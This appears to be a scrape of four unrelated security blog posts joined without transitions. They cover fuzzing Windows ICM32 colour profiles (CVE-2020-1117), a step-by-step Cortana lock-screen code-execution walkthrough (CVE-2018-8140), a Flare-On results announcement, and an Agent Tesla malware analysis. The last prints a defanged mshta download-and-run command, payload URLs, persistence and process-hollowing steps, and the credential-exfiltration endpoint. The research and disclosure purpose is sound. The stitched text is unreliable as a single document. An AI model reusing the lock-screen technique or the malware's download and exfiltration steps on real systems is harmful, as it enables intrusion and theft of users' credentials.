In simpler terms, an ICC color profile is a binary file that gets embedded into images and parsed whenever ICC supported software processes the images.
Specification The ICC specification is around 100 pages and should be easy to skim through.
Reading through specifications gives a better understanding of the file format, different types of color profiles, and math behind the color transformation.
Furthermore, understanding of its file format internals provides us with information that can be used to optimize fuzzing, select a good corpus, and prepare fuzzing dictionaries.
History of Color Management in Windows Windows started to ship Image Color Management (ICM) version 1.0 on Windows 95, and version 2.0 beginning with Windows 98 onwards.
A major overhaul to Windows Color System (WCS) 1.0 happened in Windows Vista onwards.
While ICC color profiles are binary files, WCS color profiles use XML as its file format.
In this blog post, I am going to concentrate on ICC color profiles.
Microsoft has a list of supported Windows APIs .
Looking into some of the obviously named APIs, such as OpenColorProfile , we can see that it is implemented in MSCMS.dll.
This DLL is a generic entry point and supports loading of Microsoft’s Color Management Module (CMM) and third-party CMMs such as Adobe’s CMM.
Microsoft’s CMM—the ICM—can be found as ICM32.dll in system32 directory.
Figure 1: ICM32 Windows’ CMM was written by a third-party during the Windows 95 era and still ships more or less with the same code (with security fixes over the decades).
Seeing such an old module gives me some hope of finding a new vulnerability.
But this is also a small module that may have gone through multiple rounds of review and fuzzing: both by internal product security teams and by external researchers, reducing my hopes to a certain degree.
Looking for any recent vulnerabilities in ICM32, we can see multiple bugs from 2017-2018 by Project Zero and ZDI researchers, but then relative silence from 2019 onwards.
Making a Harness Although there is a list of ICM APIs in MSDN, we need to find an API sequence used by Windows for any ICC related operations.
One of the ways to find our API sequence is to search a disassembly of Windows DLLs and EXEs in hope to find the color profile APIs being used.
Another approach is to find a harness for open source Color Management Systems such as Little CMS (LCMS).
Both of these end up pointing to very small set of APIs with functionality to open color profiles and create color transformations.
Given this information, a simple initial harness was written: #include <stdio.h> #include <Windows.h> #include <Icm.h> #pragma comment(lib, \"mscms.lib\") int main(int argc, char** argv) { char dstProfilePath[] = \"sRGB
Color Space Profile.icm\"; tagPROFILE destinationProfile;
HPROFILE   hDstProfile = nullptr; destinationProfile.dwType = PROFILE_FILENAME; destinationProfile.pProfileData = dstProfilePath; destinationProfile.cbDataSize = (strlen(dstProfilePath) + 1); hDstProfile = OpenColorProfileA(&destinationProfile, PROFILE_READ, FILE_SHARE_READ, OPEN_EXISTING); if (nullptr == hDstProfile) { return -1; } tagPROFILE sourceProfile; HPROFILE   hSrcProfile = nullptr; HTRANSFORM hColorTransform = nullptr; DWORD dwIntent[] = { INTENT_PERCEPTUAL, INTENT_PERCEPTUAL }; HPROFILE hProfileList[2]; sourceProfile.dwType = PROFILE_FILENAME; sourceProfile.pProfileData =
argv[1]; sourceProfile.cbDataSize =
(
strlen(argv[1]) + 1); hSrcProfile = OpenColorProfileA(&sourceProfile, PROFILE_READ, FILE_SHARE_READ, OPEN_EXISTING); if (nullptr == hSrcProfile) { return -1; } hProfileList[0] = hSrcProfile; hProfileList[1] = hDstProfile; hColorTransform = CreateMultiProfileTransform
( hProfileList, 2, dwIntent, 2, USE_RELATIVE_COLORIMETRIC | BEST_MODE, INDEX_DONT_CARE );
if (nullptr == hColorTransform) { return -1; } DeleteColorTransform(hColorTransform); CloseColorProfile(hSrcProfile); CloseColorProfile(hDstProfile); return 0; } Listing 1: Harness Hunting for Corpus and Dictionary Sites offering multiple color profiles can be found all over the internet.
One of the other main source of color profile is images; many image files contain a color profile but require some programming/tools to dump their color profile to stand-alone files.
Simply skimming through the specification, we can also make sure the corpus contains at least one sample from all of the seven different color profiles.
This along with the code coverage information can be used to prepare the first set of corpuses for fuzzing.
A dictionary, which helps the fuzzer to find additional code paths, can be prepared by combing through specifications and creating a list of unique tag names and values.
One can also find dictionaries from open source fuzzing attempts on LCMS, etc.
Fuzzing I used a 16-core machine to fuzz the harness with my first set of corpuses.
Code coverage information from MSCMS.dll and ICM32.dll was used as feedback for my fuzzer.
Crashes started to appear within a couple of days.
CVE-2020-1117 — Heap Overflow in InitNamedColorProfileData
The following crash happens in icm32!SwapShortOffset while trying to read out of bounds: 0:000
> r rax=0000023690497000 rbx=0000000000000000 rcx=00000000000000ff rdx=000000000000ffff rsi=0000023690496f00
rdi=0000023690496fee rip=00007ffa46bf3790 rsp=000000c2a56ff5a8 rbp=0000000000000001 r8=0000000000000014  r9=0000023690497002
r10=0000000000000014 r11=0000000000000014 r12=000000c2a56ff688 r13=0000023690492de0 r14=000000000000000a r15=000000004c616220 iopl=0         nv up ei ng nz ac pe cy cs=0033  ss=002b
ds=002b
es=002b
fs=0053  gs=002b
efl=00000293 icm32!SwapShortOffset+0x10:
00007ffa`46bf3790 0fb610          movzx   edx,byte ptr [rax] ds:00000236`90497000=?
?
0:000
> !
heap -p
-a @rax address 0000023690497000 found in _DPH_HEAP_ROOT @ 23690411000 in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
23690412b60:      23690496f00              100 -      23690496000             2000 00007ffa51644807 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007ffa515f49d6 ntdll!RtlpAllocateHeap+0x0000000000077ae6
00007ffa5157babb ntdll!RtlpAllocateHeapInternal+0x00000000000001cb 00007ffa51479da0 msvcrt!malloc+0x0000000000000070 00007ffa46bf3805 icm32!SmartNewPtr+0x0000000000000011 00007ffa46bf37c8
icm32!SmartNewPtrClear+0x0000000000000014 00007ffa46c02d05 icm32!InitNamedColorProfileData+0x0000000000000085 00007ffa46bf6e39 icm32!Create_LH_ProfileSet+0x0000000000004e15 00007ffa46bf1973
icm32!PrepareCombiLUTs+0x0000000000000117 00007ffa46bf1814 icm32!CMMConcatInitPrivate+0x00000000000001f4 00007ffa46bf12a1 icm32!CWConcatColorWorld4MS+0x0000000000000075 00007ffa46bf11f4 icm32!CMCreateMultiProfileTransformInternal+0x00000000000000e8 00007ffa46bf1039 icm32!CMCreateMultiProfileTransform+0x0000000000000029 00007ffa48f16e6c mscms!CreateMultiProfileTransform+0x000000000000024c
00007ff774651191 ldr+0x0000000000001191 00007ff7746514b4 ldr+0x00000000000014b4 00007ffa505a7bd4 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007ffa515aced1 ntdll!RtlUserThreadStart+0x0000000000000021 Listing 2:
Crash info icm32!SwapShortOffset reads unsigned short values, bswaps them and stores at the same location, giving this crash both read and write primitives.
unsigned __int16 *__fastcall SwapShortOffset(void *sourceBuff, unsigned int offset, unsigned int len) { unsigned __int16 *endBuff; // r9 unsigned __
int16
*result; // rax endBuff =
(sourceBuff + len); for ( result =
(sourceBuff + offset); result < endBuff; ++result )
*result = _byteswap_ushort(*result);        // read, bswap and write return result; } Listing 3: SwapShortOffset decompiled The crashing function icm32!SwapShortOffset doesn’t immediately point to the root cause of the bug.
For that, we need to go one call up to icm32!InitNamedColorProfileData .
__int64 __fastcall InitNamedColorProfileData(__int64 a1, void *hProfile, int a3, _DWORD *a4) { ... ... errCode =
CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, 0i64);      // getting size of ncl2 element if ( errCode ) return errCode; minSize = pBuffSize[0]; if ( pBuffSize[0] < 0x55 ) minSize = 0x55; pBuffSize[0] = minSize; outBuff = SmartNewPtrClear(minSize, &errCode);                                    // allocating the buffer for ncl2 ... ...
errCode =
CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, outBuff);    // reading ncl2 elements to buffer if ( !errCode ) { ... ...
totalSizeToRead = count
* totalDeviceCoord; if ( totalSizeToRead < 0xFFFFFFFFFFFFFFAEui64 && totalSizeToRead + 0x51 <= pBuffSize[0] )  //
totalSizeToRead + 0x51 <= element size?
{ currPtr = outBuff + 0x54;            // wrong offset of 0x54 is used ... ...
do { SwapShortOffset((currPtr + 0x20), 0, 6u); ... --count; }while(count)
Listing 4: InitNamedColorProfileData decompiled Here the code tries to read the ‘ncl2’ tag/element and get the size of the stream from file.
A buffer is allocated and the same call is made once again to read the complete content of the element ‘ncl2’.
This buffer is parsed to find the count and number of device coordinates, and the values are verified by making sure read/write ends up with in the buffer size.
The vulnerability here is that the offset (0x51) used for verification is smaller than the offset (0x54) used to advance the buffer pointer.
This error provides a 3 byte out of bound read and write.
The fix for this was pretty straight forward—change the verification offset to 0x54, which is how Microsoft fixed this bug.
Additional Vulnerabilities While looking at the previous vulnerability, one can see a pattern of using the CMGetPartialProfileElement function for reading the size, allocation, and reading content.
This sort of pattern can introduce bugs such as unconstrained size or integer overflow while adding an offset to the size, etc.
I decided to pursue this function and see if such instances are present within ICM32.dll.
I found three instances which had an unchecked offset access: CMConvIndexToNameProfile , CMConvNameToIndexProfile and CMGetNamedProfileInfoProfile .
All of these functions are accessible through exported and documented MSCMS functions: ConvertIndexToColorName , CMConvertColorNameToIndex , and GetNamedProfileInfo respectively.
__int64 __fastcall CMConvIndexToNameProfile(HPROFILE
hProfile, __int64 a2, __int64 a3, unsigned int a4) { ... ... errCode =
CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, 0i64);    // read size if ( !errCode ) { allocBuff = SmartNewPtr(pBuffSize[0], &errCode); if ( !errCode ) { errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, allocBuff);    // read to buffer if ( !errCode ) { SwapLongOffset((allocBuff + 12), 0, 4u);         // 12 > *pBuffSize ?
SwapLongOffset((allocBuff + 16), v12, v13); Listing 5: CMConvIndexToNameProfile decompiled The bug discovered in CMConvIndexToNameProfile and the other two functions is that there is no minimum length check for ‘ncl2’ elements and offsets 12 and 16 are directly accessed for both read and write—providing out of bound read/write to allocBuffer , if the size of allocBuffer is smaller than 12.
Microsoft decided not to immediately fix these three vulnerabilities due to the fact that none of the Windows binaries use these functions.
Independently, we did not find any Windows or third-party software using these APIs.
Conclusion In part one of this blog series, we looked into color profiles, wrote a harness, hunted for corpus and successfully found multiple vulnerabilities.
Stay tuned for part two, where we will be looking at a relatively less talked about vulnerability class: uninitialized memory.
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By Cedric Cochin and Steve Povolny on Jun 12, 2018 June’s “Patch Tuesday” (June 12) is here, but it is likely many Windows 10 users have not yet applied these updates.
If you have not, just be sure not to leave your laptop lying around!
The patches in this cycle fix a code execution vulnerability using the default settings for Windows 10 and the “Cortana” voice assistant.
We’ll detail how this vulnerability can be used to execute code from the locked screen of a fully patched Windows 10 machine (RS3 at the time of our original submission, and confirmed on RS4 prior to this patch cycle).
The vulnerability was submitted to Microsoft as part of the McAfee Labs Advanced Threat Research team’s responsible disclosure policy , on April 23.
Attribution for this vulnerability submission goes to Cedric Cochin, Cyber Security Architect and Senior Principal Engineer.
In this post, we will address three vectors of research that have been combined by Microsoft and together represent CVE-2018-8140.
The first of these is an information leak, but we’ll culminate with a demo showing full code execution to log in to a locked Windows device!
Using “Hey Cortana!” to Retrieve Confidential Information Personal digital assistants such as Siri, Alexa, Google Assistant, and Cortana have become commodities in many technologically inclined houses.
From telling jokes, to helping with the grocery list, to turning on the kitchen lights, these robotic voices are beginning to feel oddly more and more personal as they expand their roles in our daily lives.
However, we should consider the increased risk of built-in digital personal assistants when looking at new attack vectors for laptops, tablets, and smartphones.
Our research on Microsoft’s Cortana voice assistant began after reading about the “BadUSB” attacks demonstrated by industry researchers.
We decided to take this a step further and ended up finding and reporting to Microsoft several issues related to Cortana.
If you have spoken with Cortana, you may have noticed that “she” is very helpful for a number of simple tasks: providing definitions, or looking up corporations, movies, artists, or athletes.
She can even do math!
In Windows 10, on the most recent build at the time of submission, we observed that the default settings enable “Hey Cortana” from the lock screen, allowing anyone to interact with the voice-based assistant.
This led to some interesting behavior and ultimately vulnerabilities allowing arbitrary code execution.
We begin this analysis with a quick look into Windows indexing.
If you have ever opened the advanced view of the Windows Indexing control panel, and navigated to the File Types tab, you will see a long list of file extensions.
For each of them you will find details about the associated filter used by the indexing process.
Essentially you have the “file properties filter” and several other filters that could all be summarized as “file properties and file content filter.”
This means the index process will crack open the files and index their content, including some strings present in these documents.
Let’s keep that in mind for later as we continue.
Using this knowledge, we wanted to try to access the same menu that you would see when using a Cortana search on an unlocked device.
This will come as a surprise and lies at the core of all the issues we found, but simply typing while Cortana starts to listen to a query on a locked device will bring up a Windows contextual menu, as shown below:
On top: the result of typing “pas” in the Cortana search field on an unlocked computer.
Above: the result of asking “Hey Cortana, P A S” and using a whitespace keyboard sequence.
In the preceding example, we queried Cortana for the term pas, no preamble to the question, just speaking the three letters, P. A. S. Why not “pass”?
Because Cortana can be quite picky with verbal statements and there is no dictionary definition for “pass,” leading to Cortana inviting us to continue in Edge after unlocking the device.
Alternatively, instead of issuing a verbal statement, we could click on the “tap and say” button and just start typing this text, for example.
We now have a contextual menu, displayed on a locked Windows 10 device.
What could go wrong?
Remember that all the results presented by Cortana come from indexed files and applications, and that for some applications the content of the file is also indexed.
Now we can simply hover over any of the relevant matches.
If the match is driven by filename matching, then you will be presented with the full path of the file.
If the match is driven by the file content matching, then you may be presented with the content of the file itself.
Keep in mind that the entire user folder structure is indexed, which includes the default location for most documents but also for mappings like OneDrive.
Example of data leakage using voice command with Cortana and the whitespace keyboard sequence.
Armed with this knowledge, you can use your imagination to come up with specific keywords that could be used to start harvesting confidential information from the locked device.
Code Execution from the Windows Lock Screen (User Interaction May be Required)
Next, we asked the question: Could we go a step further and get code execution in the context of the authenticated user?
Remember we are using only a combination of voice commands and mouse/touchpad/touchscreen to gain access to the contextual menu at this point.
We observed that just by hovering over a file, the full path or content of the file would be displayed.
What happens if we were to click on it?
That depends on the target.
If the file being opened is an application or an executable (such as notepad or calc.exe), the file will run and be accessible only after the user properly logs in.
If it is a document, script, or text file, it will be opened by an editor instead of being executed.
At this point we can execute various preloaded Windows utilities such as calculator, but we cannot pass any parameters to the command line.
We can open scripts including PowerShell, but instead of being executed, they will be opened in a text editor (notepad).
The lack of parameters is a limitation for a “live off the land” attack, which uses current tools and content to achieve a malicious purpose; however, there are plenty of malicious activities that could be performed even with these restrictions.
For example, many uninstallers will happily remove software without any need for parameters.
Let’s return to our goal: code execution from the lock screen.
The only requirement for something to show up in the contextual menu is for it to be indexed.
Public folders indexed by default.
There are multiple ways for an unauthenticated attacker to get results to show up in the index of an authenticated user.
One method relies on OneDrive.
As the root of the OneDrive directory structure is in the user folder, all the OneDrive content is indexed by default.
Basically, if you ever share a folder or file with “edit” rights, the person you share it with, as well as any other recipients of a forwarded link, can now drop a file that will be indexed.
With the file indexed we have multiple options to proceed.
Option 1: Drop an Executable File This method assumes you can write an executable file to the disk; it does not require you to have executed it.
Via a phishing attack or another vulnerability, an attacker could drop a backdoor (for example, Cobalt Strike Beacon or Meterpreter) and be in business.
If you need to execute the payload as an administrator, you can simply right-click (for a touchscreen this is a longer-hold screen press) and select “Run as administrator.”
When running applications that do not have the Auto-Elevate Privilege, you will trigger a user account control (UAC) prompt and nothing will execute.
This could still result in a valid attack because users rarely check the content of the prompt and often proceed through the warning dialog box.
The attacker would have to execute the program, and then wait for the authenticated user to log in and finish the job.
If the application has auto-elevate privileges, there will be no UAC prompt and the application will execute at high integrity.
This is interesting behavior, but on its own not a very likely attack scenario, so let’s continue to explore our options.
Why not simply use a USB key to drop the payload because we have physical access?
The content of the USB key is not indexed, so it would not be presented as a result of the search query (although there are other ways to use a USB device; see below).
Option 2: Drop a non-PE Payload Portable executable (PE)
backdoors are great, but can we gain execution with a non-PE payload, for example, a PowerShell script?
We can use the same right-click capability to assist, but with a small twist.
The right-click menu is not always the same, even for a given file type.
When you ask Cortana about “PS1,” you will be presented with your indexed PowerShell scripts.
A right click will allow you to “open file location” or “copy full path,” but with no means of execution.
If you click on the file as we already mentioned, the file will open in edit mode.
Curiously, it will not open the default editor (PowerShell ISE) for PowerShell scripts; instead, it will open the script in notepad.
We assume this was intended as a security measure because notepad cannot execute scripts, unlike PowerShell ISE.
The default right-click menu for PS1 files.
Remember we mentioned that Cortana changes results based on your input query?
When properly logged in, if you ask Cortana about “txt” using the query “Hey Cortana” followed by the letters “T,” “X,” “T,” she will present you with text documents, Notepad, and the most recent documents open by Notepad.
Yet the right-click menu for items in the Recent category is different than the right-click menu for the same item in the Documents category.
At top:the context menu for a Recent item; above: the context menu for a Document item.
We follow a three-step process: Land a PowerShell script in a location that will be indexed Public folder, public share, or OneDrive Execute a search query that will show the document and click on it “Hey Cortana, PS1” Select the PowerShell script you just indexed and left click The PowerShell script opens in Notepad Execute a search query that will show the recent documents, right click, and… Using Cortana, type or search in the contextual menu for “txt”
Right click on the PowerShell script in the Recent category under the Apps tab at the top (not Documents)
Click “Run with PowerShell” “Run with PowerShell” right-click menu option for Recent items.
We now have local code execution with the payload of our choosing, without any exploit, even if the device is encrypted, on an up-to-date locked Windows 10 device.
This technique helps us understand some of the differences between apps, documents, extensions, and the way Windows handles them from a locked or unlocked screen.
Yet it probably does not represent much of a real-world attack vector.
Then again, we are not finished.
Logging into a Locked Device with no User Interaction Finally, we have local code execution, but with some real limitations.
We need to get our payload indexed but we cannot pass command-line parameters.
This could be a limiting factor for our PowerShell attack vector because the execution policy may prevent its execution, and without command-line parameters we cannot pass
an “-ExecutionPolicy Bypass” (or any other flavor).
We would also have to find a way to land a PS1 script on the victim’s box, and have remote access to the physical machine or the login screen.
The techniques we have described so far are far too complicated compared with the simplicity and effectiveness of what comes next.
You recall the use of the keyboard-timing sequence to trigger the contextual search menu from a locked screen while querying Cortana.
Any keystroke can trigger the menu from the time when Cortana begins to listen to when the answer is displayed.
Press any key at this point; we like to use the spacebar because you cannot backspace and Windows will nicely ignore or trim out the space in its text results anyways.
Invoke keyboard input too early or before Cortana is listening and you will be prompted to enter your password; invoke too late and Cortana goes back to sleep or returns normal results without a context menu.
It is not very intuitive to use the keyboard in addition of voice commands, but you can type your search the same way you do on an unlocked device, assuming that you triggered Cortana to listen.
The following screenshot demonstrates this behavior: Trigger Cortana via “Tap and Say” or “Hey Cortana” Ask a question (this is more reliable) such as “What time is it?”
Press the space bar, and the context menu appears Press esc, and the menu disappears Press the space bar again, and the contextual menu appears, but this time the search query is empty Start typing (you cannot use backspace).
If you make a mistake, press esc and start again.
When done (carefully) typing your command, click on the entry in the Command category.
(This category will appear only after the input is recognized as a command.)
You can always right click and select “Run as Administrator” (but remember the user would have to log in to clear the UAC)
You can use the following example of a simple PowerShell command to test.
Enjoy the soothing beeps that demonstrate code execution from a locked device.
What can we do at this point?
You name it.
Our demo below shows a password reset and login on a Windows 10 build, using only this simple technique.
The easiest mitigation technique, in the absence of patching the device (which we strongly recommend), is to turn off Cortana on the lock screen.
This week’s Patch Tuesday from Microsoft contains fixes for these issues under CVE-2018-8140.
This concludes our examination of Cortana (at least for now).
The McAfee Advanced Threat Research team has a fundamental goal of eliminating critical threats to the hardware and software we use; this month’s patch is a clear step toward furthering that goal.
The attack surface created by vocal commands and personal digital assistants requires much more investigation; we are just scratching the surface of the amount of research that should be conducted in this critical area.
A team of several independent researchers also discovered and disclosed this vulnerability around the time of our submission.
Additional credit for this discovery goes to: Ron Marcovich, Yuval Ron, Amichai Shulman and Tal Be’ery.
Their names are also on the Microsoft disclosure page .
We are thrilled to announce the conclusion of the seventh annual Flare-On challenge.
This year proved to be the most difficult challenge we’ve produced, with the lowest rate of finishers.
This year’s winners are truly the elite of the elite!
Lucky for them, all 260 winners will receive this cyberpunk metal key.
We would like to thank the challenge authors individually for their great puzzles and solutions: fidler – Nick Harbour ( @nickharbour ) garbage – Jon Erickson Wednesday – Blaine Stancill ( @MalwareMechanic ) report – Moritz Raabe ( @m_r_tz )
TKApp –
Moritz Raabe ( @m_r_tz ) CodeIt –
Mike Hunhoff ( @mehunhoff ) re_crowd – Chris Gardner, Moritz Raabe, Blaine Stancill Aardvark – Jacob Thompson crackinstaller – Paul Tarter ( @Hefrpidge ) break – Chris Gardner Rabbit Hole – Sandor Nemes ( @sandornemes )
This year’s Flare-On challenge was the first to feature a live public scoreboard, so players could track their progress and the progress of previous Flare-On challenge champions.
Despite this increased data at your fingertips, we are still going to bring you even more stats.
As of 11:00am ET, participation was near record setting levels at 5,648 players registered.
3,574 of those players finished at least one challenge.
The U.S. reclaimed the top spot for total finishers with 22.
Singapore was once again in second place, but in uncontested first place per capita, with one Flare-On finisher for every 296,000 living persons in Singapore.
This is the first year we have included a per capita finishers by country chart, and we did it to highlight just what a remarkable concentration of talent exists in some corners of the world.
Consistent top finisher Russia took third place, and a growing player base in Germany and Israel came into full bloom this year, with those countries edging out other frequent top five countries such as China, India and Vietnam.
All the binaries from this year’s challenge are now posted on the Flare-On website .
Here are the solutions written by each challenge author: SOLUTION #1 SOLUTION #2 SOLUTION #3 SOLUTION #4 SOLUTION #5 SOLUTION #6 SOLUTION #7 SOLUTION #8 SOLUTION #9 SOLUTION #10 SOLUTION #11 Subscribe to Blogs Get email updates as new blog posts are added.
FortiGuard Labs Threat Research Report Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact: Collects sensitive information from victims’ device Severity level :
Critical A phishing campaign was recently caught in the wild by Fortinet’s FortiGuard Labs , that delivers a malicious Microsoft PowerPoint file.
The content of the phishing email,  written in Korean, asks recipients to open the attached PowerPoint file to review a purchase order.
I researched what this malicious file does once the PowerPoint file is opened and have been able to confirm that it is spreading a new variant of Agent Tesla.
Over the past several years, we have captured and analyzed many Agent Tesla variants.
It has been quite active since 2014 when it was first observed.
Agent Tesla is a .Net-based malware (developed in C#.Net, VB.Net, C++.Net, etc.)
whose core function is to collect sensitive information from a victim’s machine, including recording keystrokes and data on the system clipboard, stealing saved software credentials (browsers, mail clients, VPN, FTP, IM, etc.
), stealing browser cookies files, and taking screenshots.
In this blog we will look at the phishing email, analyze the malicious macro contained in the attachment, show how the malware is updated and maintains persistence, examine the Agent Tesla payload, and show the ways it exfiltrates stolen data and credentials.
Let’s start with how most cyberattacks begin – with a phishing email.
The Phishing Email The phishing email is written in Korean and its translated content has been included on the right side of the image in Figure 1.1.
The attacker attempts to lure the recipient into opening the attached file to confirm a purchase order.
Fortinet’s FortiMail has identified this phishing email as SPAM and added a tag “[SPAM detected by FortiMail]” to the subject to warn the recipient, as shown in Figure 1.1.
Leverage Malicious Macro in PowerPoint As you probably guessed, the attached file is fake.
There is no slide in the PowerPoint file, but a macro containing an auto-run function method called “Auto_Open()”.
This function is called once the file is opened in MS PowerPoint.
Here is the VBA code of this method: “soraj” is the name of a UserForm, “bear” is the name of CheckBox control inside “soraj” form.
It calls “Shell” to execute a command read from the “GroupName” property of “bear” CheckBox control.
In this code, “soraj” is the name of a UserForm and “bear” is the name of the CheckBox control inside the “soraj” form.
It calls “Shell” to execute a command read from the “GroupName” property of the “bear” CheckBox control.
Further, “mshta hxxp[:]//bitly[.
]com/gdhamksgdsadj” is the value of the “soraj.bear.
GroupName” which is shown in Figure 2, and is the content of a binary profile file (named “o”) of the VBA project.
It consists of “mshta” and a URL, where “mshta” (“mshta.exe”) is a Windows default program that executes HTML application files, including scripts (like VBScript).
The URL opened by “mshta” is redirected to another URL, “hxxps[:]//onedayiwillloveyouforever[.
]blogspot.com/p/divine111.html”, which contains a piece of code used to write an escaped VBScript code to a current HTML document to be executed by “mshta.exe”.
Figure 2.2 is a screenshot of a proxy tool, allowing you to see the URL redirection and escaped VBScript code in the response packet.
The escaped VBScript code is executed within the current HTML document using “mshat.exe”.
I will refer to this kind of VBScript as VBScript-embedded-in-HTML in this analysis.
Click here to view the entire un-escaped code of the VBScript-embedded-in-HTML.
VBScript, PowerShell scripts for multiple tasks The developer uses a wide variety of scripts, including VBScript-embedded-in-HTML, standalone VBScript, and PowerShell, during the process of delivering Agent Tesla to protect it from being easily analyzed.
These scripts are split into many files, and are downloaded at different times.
The VBScript-embedded-in-HTML is the entry of the scripts.
In the following section I will explain what they can do according to their behaviors.
1.
Upgrading – Task Scheduler:
The malware seeks to obtain a new version (if applicable) every two hours to be executed on the victim’s system.
To do this the VBScript-embedded-in-HTML performs a command-line command to add a recurring task into Task Scheduler.
The code snippet below is used to run “schtasks” command with the “/create” option to create a new scheduled task, as shown in Figure 3.1.
It executes a VBScript code within a remote HTML file, then downloads the Agent Tesla payload to run on the victim’s system.
It also detects and kills any other Agent Tesla process instances already running.
This allows it to perform its upgrading function.
2.
Persistence – StartMenu Startup:
A standalone VBS file, “%Public%\\ hulalalMCROSOFT.vbs ”, extracted from VBScript-embedded-in-HTML downloads another base64-encoded VBS file from “hxxps[:]//bitbucket[.
]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2” into a local file.
Going through the base64-decoded code, it saves the VBS code to a file called “UYA-update.vbs“ located under %Public% folder.
This standalone VBS file downloads the Agent Tesla payload and deploys it on the victim’s system.
As a result, whenever the VBS file is executed it starts Agent Tesla.
To keep Agent Tesla alive on the victim’s system, it copies the downloaded standalone VBS file “UYA-update.vbs” into the StartMenu’s Startup folder and renames it as “GTQ.vbs”.
This allows it to start automatically when the system starts.
Figure 3.2 displays the Startup folder with the copied “GTQ.vbs”.
3.
Perform process-hollowing: “UYA-update.vbs” continues to craft a piece of PowerShell code within a base64-decoded PE file from a local variable.
It is ultimately executed by “PowerShell.exe”.
The decoded PE file is a .Net program that contains a function named “Run()” belonging to class “ClassLibrary3.Class1”.
Below is a piece of PowerShell code used to call this function.
The “$fuUN” variable contains the base64-decoded .Net
PE file, from which it calls GetType() and GetMethod() to obtain the function “ClassLibrary3.Class1.Run()”.
Next, it calls the “Run()” function through Invoke() and passes a parameter with a reversed URL.
The URL is “hxxps[:]//bitbucket[.
]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1”.
Figure 3.3 is the entire code of function “ClassLibrary3.Class1.Run()”.
After successfully calling \"ClassLibrary3.Class1.Run()\" of the decoded PE, it downloads two files from the hyperlinks: 'hxxp[:]//149.56.200.165/rump/1.txt', which is for another .Net module to perform process-hollowing, and 'hxxps[:]//bitbucket[.
]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1', which is passed from PowerShell and is where it downloads the Agent Tesla payload from.
The Agent Tesla payload is fileless on the victim’s system.
It is only kept in the memory of the PowerShell process.
The downloaded .Net module has a function named “ClassLibrary1.Class1.Run()” that perform the process-hollowing.
It passes the Agent Tesla payload in memory and adds a path of the target process “RegAsm.exe”.
“RegAsm.exe” is an official component of Microsoft .Net
Framework.
The attacker uses it as a target process in which to inject malware to protect itself from being detected.
A number of Windows API functions are called in the .Net module to deploy the Agent Tesla payload into the target process.
These are: CreateProcess() with CREATE_SUSPENDED flag: This creates a suspended RegAsm.exe process.
VirtualAllocEx(), NtUnmapViewOfSection(), ReadProcessMemory(), WriteProcessMemory(): These move the Agent Tesla payload to a newly-allocated memory within the suspended RegAsm.exe process.
SetThreadContext()/Wow64SetThreadContext(), GetThreadContext()/Wow64GetThreadContext(): These modify the RegAsm.exe’s registry value and points its EIP register to the entry point of the copied Agent Tesla payload.
ResumeThread(): This resumes the execution of the RegAsm.exe process from where the EIP points to.
Once completed, the Agent Tesla runs on behalf of RegAsm.exe to steal the victim’s information.
Agent Tesla Payload Agent Tesla provides many features, like Keylogger, obtaining Clipboard data, stealing browser cookies and saved software credentials, as well as capturing screenshots of the victim’s device.
Agent Tesla publishes a Setup program that allows the attacker to choose which features to enable.
The Tesla Agent Setup program then compiles the Agent Tesla payload file according to those choices.
Agent Tesla starts these tasks in its Main() (stealing credentials), Timer (keylogger, stealing clipboard data, taking screenshots), and Thread (stealing cookies from browsers) functions.
In this variant of Agent Tesla, the attacker has only enabled stealing credentials and cookies.
The count of the software clients from which it steals credentials is more than 70, and can be categorized as Web Browsers, Email Clients, IM Clients, VPN/FTP/Downloader/Database Clients, and Windows Credentials.
The list of the affected software clients is listed as below: Chromium-based Web Browsers: Epic Privacy, Uran, Chedot, Comodo Dragon, Chromium, Orbitum, Cool Novo, Sputnik, Coowon, Brave, Liebao Browser, Elements Browser, Sleipnir 6, Vivaldi, 360 Browser, Torch Browser, Yandex Browser, QIP Surf, Amigo, Kometa, Citrio, Opera Browser, CentBrowser, 7Star, Coccoc, and Iridium Browser.
Web Browsers: Chrome, Microsoft Edge, Firefox, Safari, IceCat, Waterfox, Tencent QQBrowser, Flock Browser, SeaMonkey, IceDragon, Falkon, UCBrowser, Cyberfox, K-Meleon, PaleMoon.
VPN clients: OpenVPN, NordVPN, RealVNC, TightVNC, UltraVNC, Private Internet Access VPN.
FTP clients: FileZilla, Cftp, WS_FTP, FTP Navigator, FlashFXP, SmartFTP, WinSCP 2, CoreFTP, FTPGetter.
Email clients: Outlook, Postbox, Thunderbird, Mailbird, eM Client, Claws-mail, Opera Mail, Foxmail, Qualcomm Eudora, IncrediMail, Pocomail, Becky!
Internet Mail, The Bat!.
Downloader/IM clients: DownloadManager, jDownloader, Psi+, Trillian.
Others: MySQL and Microsoft Credentials.
Figure 4.1 displays the method used for stealing credentials from several clients.
Figure 4.2 shows the credentials just stolen from a web browser, “IceCat”, where “Browser” is the software client name, “Password” is the saved password, “URL” is the login page, and “UserName” is the saved login user name.
Each credentials of the stolen credentials has an above structure and saved in a global list variable, which later is formatted and sent to the attacker.
Sending the Stolen Data to the Attacker There are four ways to transport the stolen data to the attacker.
These are FTP Data (uploading stolen data in a file to a FTP server provided by the attacker), HTTP Post (sending data as the body of the post to a URL provided by the attacker), SMTP (sending stolen data to the attacker’s email address), and Telegram (using the Telegram bot API “sendDocument()” to send files to a specified chat or channel).
The attacker chose HTTP Post for this variant.
Once Agent Tesla needs to send data to the attacker, it encrypts the stolen data using a DES algorithm and encodes the result using a base64 algorithm, which is the final data to be sent as the body in the HTTP Post request.
The submission URL is \"hxxp[:]//69[.]174.99[.
]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php\", which is a hardcoded string in Agent Tesla.
Figure 5.1 demonstrates Agent Tesla sending stolen data as a value of “p=” in the body of HTTP POST.
